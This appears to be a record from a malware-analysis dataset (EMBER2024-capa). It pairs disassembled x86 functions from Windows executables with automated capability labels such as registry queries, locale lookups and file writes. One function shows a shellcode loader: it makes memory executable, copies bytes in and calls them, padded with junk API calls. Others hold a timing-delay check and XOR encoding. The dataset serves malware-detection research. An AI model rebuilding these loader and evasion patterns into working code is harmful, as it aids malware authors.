joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46e1d0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4a72a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x118]
test eax, eax
jne 0x46e280
mov eax, dword [0x4e5f48]
push esi
mov dword [esp + 8], eax
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.004964da
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.00496529
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.00496486
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x46e267
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x46e267
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x118], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.004960aa
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x471380
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a7730
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x471527
mov ecx, dword [0x4e5f48]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x47147c
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.004700a0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.004961e3
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.004960aa
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x4e400c
call fcn.00496118
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.00470460
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.004961e3
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.004960aa
lea ecx, [esp + 0xc]
call fcn.004965be
mov ecx, dword [esp + 0xc]
push 0x4e4a4c
push ecx
call fcn.00485024
add esp, 8
test eax, eax
je 0x4714a4
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x4713dd
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.004960aa
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004960aa
jmp 0x47152b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.00471120
test eax, eax
push 0
je 0x47150f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.0046f7c0
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x4714f5
cmp eax, 0x64
jg 0x4714e3
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x471480
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x471480
cmp eax, 0x64
jge 0x47147c
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x471480
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.0046f7c0
mov esi, eax
jmp 0x471480
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x471535
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x47a6f0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x47a739
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47abb0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a7d30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0047a760
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0047a7e0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0047a7e0
lea ecx, [esi + 0xc]
call fcn.00496035
lea ecx, [esi + 0x10]
call fcn.00496035
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0047bd80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0047bd80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0047bd80
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004960aa
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004960aa
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x47bf70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x47bfd6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x47bfd6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x47bfb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4984d7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49850f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00496551
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00496529
jmp 0x49851b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x499bd1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x499c13
call fcn.0049fc42
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x499c13
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x499c0a
xor eax, eax
jmp 0x499c1b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00499c21
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a0172
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a01a0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a01be
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a00d8
jmp 0x4a01be
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a01be
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a00d8
test edi, edi
mov eax, edi
jne 0x4a01a8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x45320f
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x4532e7
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x8c60b4], 0x319
jne 0x4532cf
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x424]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0x4015b8
push 0x401608
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0045282e
add ebx, 8
dec dword [ebp - 0xc]
jne 0x45322d
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4532ec
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push ebx
push esi
push edi
push 0x401654
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401664
push eax
mov dword [0x85e414], eax
call esi
push 0x401670
push dword [0x85e414]
mov dword [0x85e40c], eax
call esi
push dword [0x8c60b4]
xor esi, esi
push esi
mov dword [0x85b1ec], eax
call dword [0x85e40c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x8c60b4]
mov dword [0x85b204], eax
push eax
call dword [0x85b1ec]
xor edi, edi
cmp edi, 0x85b4
jge 0x453364
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x453389
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x453356
jg 0x453389
cmp eax, 0xd69e5f85
jb 0x453356
mov eax, dword [0x45d724]
mov dword [0x8c60b8], eax
xor eax, eax
cmp dword [0x8c60b4], esi
jbe 0x4533bc
mov ecx, dword [0x8c60b8]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x85b204]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x8c60b4]
jb 0x45339d
xor edi, edi
mov eax, dword [0x8c60b4]
add eax, edi
cmp eax, 0x5e
jne 0x4533f9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
lea eax, [ebp - 0x834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
inc edi
cmp edi, 0xa69b
jl 0x4533be
mov edx, dword [0x8c60b4]
mov ecx, dword [0x85b204]
push 0x45d008
call fcn.0045320f
push 0x7b
pop ebx
cmp dword [0x8c60b4], 0x54d
jne 0x453458
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401680
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x45341b
mov eax, dword [0x85b204]
mov dword [0x85e41c], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45346c
Capabilities:
Create thread
Get disk size
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
cmp dword [0x8c60b4], 0x598
push ebx
push esi
jne 0x4534e8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x4016b4
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
lea eax, [ebp - 4]
push eax
push ebx
push 0x4016bc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0x4016c8
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call fcn.00453dd5
push ebx
push ebx
push ebx
call fcn.00453bb3
add esp, 0x10
call fcn.00453a12
push ebx
call fcn.0045397a
mov esi, 0xa4808
xor ebx, ebx
push edi
cmp dword [0x8c60b4], 0x57c
jne 0x453573
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x30
lea eax, [ebp - 0x44]
push ebx
push eax
mov dword [ebp - 0x48], ebx
call fcn.00453620
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x268]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
dec esi
jne 0x4534f0
mov esi, dword [0x45e6d4]
add esi, 0xb2d3b
mov eax, 0x460720
mov dword [0x8c60b4], esi
lea edx, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x453595
sub eax, edx
cmp eax, 0x1515
jne 0x453604
cmp esi, 0x18
jne 0x4535d0
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov esi, dword [0x8c60b4]
cmp esi, 0x9e6
jne 0x4535f4
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
call fcn.0045369a
push ebx
call fcn.00453dd5
add esp, 0xc
call fcn.004532ec
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x45574d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45fbe0]
jne 0x455757
repz ret
jmp fcn.00458485
Function at 0x457b14
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004543c1
and dword [ebp - 4], 0
cmp dword [0x8c670c], 0
mov ebx, eax
jne 0x457bc5
push 0x401f14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x457c76
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401f08
push edi
call esi
test eax, eax
je 0x457c76
push eax
call fcn.0045434f
mov dword [esp], 0x401ef8
push edi
mov dword [0x8c670c], eax
call esi
push eax
call fcn.0045434f
mov dword [esp], 0x401ee4
push edi
mov dword [0x8c6710], eax
call esi
push eax
call fcn.0045434f
mov dword [esp], 0x401ec8
push edi
mov dword [0x8c6714], eax
call esi
push eax
call fcn.0045434f
pop ecx
mov dword [0x8c671c], eax
test eax, eax
je 0x457bc5
push 0x401eb0
push edi
call esi
push eax
call fcn.0045434f
pop ecx
mov dword [0x8c6718], eax
mov eax, dword [0x8c6718]
cmp eax, ebx
je 0x457c1d
cmp dword [0x8c671c], ebx
je 0x457c1d
push eax
call fcn.004543ca
push dword [0x8c671c]
mov esi, eax
call fcn.004543ca
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x457c1d
test edi, edi
je 0x457c1d
call esi
test eax, eax
je 0x457c14
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x457c14
test byte [ebp - 0xc], 1
jne 0x457c1d
or dword [ebp + 0x10], 0x200000
jmp 0x457c56
mov eax, dword [0x8c6710]
cmp eax, ebx
je 0x457c56
push eax
call fcn.004543ca
pop ecx
test eax, eax
je 0x457c56
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x457c56
mov eax, dword [0x8c6714]
cmp eax, ebx
je 0x457c56
push eax
call fcn.004543ca
pop ecx
test eax, eax
je 0x457c56
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8c670c]
call fcn.004543ca
pop ecx
test eax, eax
je 0x457c76
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x457c78
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402a40
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404450
test esi, esi
jne 0x402a76
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404540
jmp 0x402a94
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402954
mov edi, eax
test esi, esi
je 0x402a94
cmp dword [ebx], 0
je 0x402a94
dec esi
jmp 0x402a7d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40356c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x45a00c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403604
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4035e4
xor eax, eax
push ebp
push 0x4035dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403620
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x45a00c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x45a00c], ax
mov esp, ebp
pop ebp
ret

Function at 0x4042d4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x45c04c], 0
je 0x404335
cmp word [0x45c220], 0xd7b2
jne 0x4042fd
cmp dword [0x45c228], 0
jbe 0x4042fd
mov eax, 0x45c21c
call dword [0x45c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45a054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40435c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x45a01c], 0
jne 0x404351
push 0
push 0x45a074
push 0x45a054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x408b10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404900
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x408b29
test al, 0x10
jne 0x408b2d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b680
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6b9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404540
jmp 0x40b6c2
mov eax, ebx
mov edx, esi
call fcn.004044a4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b6cc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6ed
mov al, byte [esp]
jmp 0x40b6ef
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bd74
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bbec
mov eax, dword [0x45b0ec]
cmp byte [eax], 0
je 0x40bde1
mov eax, dword [0x45af24]
call fcn.00402e40
call fcn.00402880
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408d44
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40be28
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40be17
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x45aed8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x45c718]
call fcn.00405bac
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40cb00
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cb64
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004046b8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040876c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cb6b
lea eax, [ebp - 0xc]
call fcn.00404450
ret
Function at 0x424024
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x45ca7c
cmp dword [edi], 0
jne 0x4240a0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x45ca78]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x45a664
mov ecx, 2
call fcn.00402914
mov edx, 0x423ffc
lea eax, [esi + 5]
call fcn.0042401c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0042401c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x424075
mov dword [0x45ca78], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42527c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x425282
ret

Function at 0x4276c4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x427715
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4276fc
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4276ec
jmp 0x427715
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4276fd
pop ebx
mov esp, ebp
pop ebp
ret